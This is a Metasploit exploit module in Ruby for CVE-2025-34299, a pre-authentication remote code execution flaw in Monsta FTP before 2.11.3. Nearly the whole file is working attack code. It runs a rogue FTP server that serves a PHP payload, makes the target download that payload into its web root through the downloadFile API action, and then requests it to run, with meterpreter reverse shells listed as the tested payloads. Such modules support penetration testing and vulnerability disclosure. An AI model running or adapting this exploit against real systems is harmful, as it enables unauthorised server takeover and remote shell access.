Monsta FTP downloadFile Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Monsta FTP downloadFile Remote Code Execution',
        'Description' => %q{
          This module exploits a pre-authenticated remote code execution vulnerability
          in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile
          action which allows an attacker to connect to a malicious FTP or SFTP server
          and download arbitrary files to arbitrary locations on the Monsta FTP server.
          This module uses FTP to exploit the vulnerability.
        },
        'Author' => [
          'watchTowr Labs',                              # Discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
          'msutovsky-r7'                                 # Module reviewer
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-34299'],
          ['URL', 'https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/']
        ],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2025-11-07',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Monsta FTP', '/mftp/'])
    ])
  end

  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path))
    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP')

    version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match

    version = Rex::Version.new(version_match[1])
    print_status("Monsta FTP version detected: #{version}")
    version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}")
  end

  def php_payload_content
    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    "<?php #{phped_payload} ?>"
  end

  def send_ftp_response(cli, code, message)
    cli.put "#{code} #{message}\r\n"
    vprint_status("FTP: #{code} #{message}")
  end

  def require_auth(cli)
    return true if @state[cli][:auth]

    send_ftp_response(cli, 530, 'Not logged in.')
    false
  end

  def send_data_connection(cli)
    conn = establish_data_connection(cli)
    unless conn
      send_ftp_response(cli, 425, "Can't open data connection.")
      return nil
    end
    conn
  end

  def handle_data_transfer_retr(cli, message)
    send_ftp_response(cli, 150, message)
    conn = send_data_connection(cli)
    return unless conn

    conn.put(php_payload_content)
    conn.close
    send_ftp_response(cli, 226, 'Transfer complete.')
  end

  def start_ftp_service(credentials)
    define_singleton_method(:on_client_connect) do |cli|
      vprint_status("FTP client connected from #{cli.peerhost}:#{cli.peerport}")
      @state[cli] = {
        name: "#{cli.peerhost}:#{cli.peerport}",
        ip: cli.peerhost,
        port: cli.peerport,
        user: credentials[:user],
        pass: credentials[:pass],
        auth: false,
        valid_user: false
      }
      send_ftp_response(cli, 220, 'FTP Server Ready')
    end
    start_service({ SSL: false })
  end

  def handle_ftp_command(_cli, cmd, arg = nil)
    vprint_status("FTP: Client sent #{cmd}#{arg ? " #{arg}" : ''}")
  end

  def on_client_command_user(cli, arg)
    handle_ftp_command(cli, 'USER', arg)
    @state[cli][:valid_user] = arg == @state[cli][:user]
    send_ftp_response(cli, 331, 'User name okay, need password.')
  end

  def on_client_command_pass(cli, arg)
    handle_ftp_command(cli, 'PASS')
    @state[cli][:auth] = @state[cli][:valid_user] && arg == @state[cli][:pass]
    code, message = @state[cli][:auth] ? [230, 'Login successful.'] : [530, 'Login incorrect.']
    send_ftp_response(cli, code, message)
  end

  def on_client_command_pwd(cli, _arg)
    handle_ftp_command(cli, 'PWD')
    send_ftp_response(cli, 257, '"/" is current directory.')
  end

  def on_client_command_type(cli, arg)
    handle_ftp_command(cli, 'TYPE', arg)
    send_ftp_response(cli, 200, "Type set to #{arg}.")
  end

  def on_client_command_port(cli, arg)
    handle_ftp_command(cli, 'PORT', arg)
    parts = arg.split(',')
    unless parts.length == 6
      vprint_error("FTP: Invalid PORT command format: #{arg}")
      send_ftp_response(cli, 500, 'Illegal PORT command.')
      return
    end
    host = parts[0..3].join('.')
    port = (parts[4].to_i * 256) + parts[5].to_i
    vprint_status("FTP: PORT command parsed - host: #{host}, port: #{port}")
    active_data_port_for_client(cli, port)
    send_ftp_response(cli, 200, 'PORT command successful.')
  end

  def on_client_command_retr(cli, arg)
    handle_ftp_command(cli, 'RETR', arg)
    return unless require_auth(cli)

    handle_data_transfer_retr(cli, "Opening data connection for #{arg}")
  end

  def on_client_command_quit(cli, _arg)
    handle_ftp_command(cli, 'QUIT')
    send_ftp_response(cli, 221, 'Goodbye.')
  end

  def on_client_command_unknown(cli, cmd, arg)
    handle_ftp_command(cli, "UNKNOWN: #{cmd}", arg)
    send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
  end

  def trigger_http_request(exploit_data)
    vprint_status('Triggering HTTP request...')
    payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'application', 'api', 'api.php'),
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "request=#{Rex::Text.uri_encode({
        'connectionType' => 'ftp',
        'configuration' => {
          'host' => srvhost_addr,
          'username' => exploit_data[:user],
          'initialDirectory' => '/',
          'password' => exploit_data[:pass],
          'port' => srvport
        },
        'actionName' => 'downloadFile',
        'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name }
      }.to_json)}"
    })

    return nil unless res&.code == 200 && res.get_json_document&.[]('success')

    vprint_status("File downloaded successfully: #{payload_name}")
    payload_name
  end

  def exploit
    exploit_data = {
      user: Faker::Internet.username,
      pass: Faker::Internet.password
    }

    start_ftp_service(exploit_data)
    vprint_status("FTP server started on #{bindhost}:#{bindport}")

    payload_name = trigger_http_request(exploit_data)
    fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name

    register_file_for_cleanup(payload_name)
    vprint_status("Triggering payload at #{normalize_uri(target_uri.path, 'application', 'api', payload_name)}...")
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'application', 'api', payload_name), 'method' => 'GET')

    vprint_warning('Payload executed but failed to establish reverse connection') if res&.body == 'no socket'
  end
end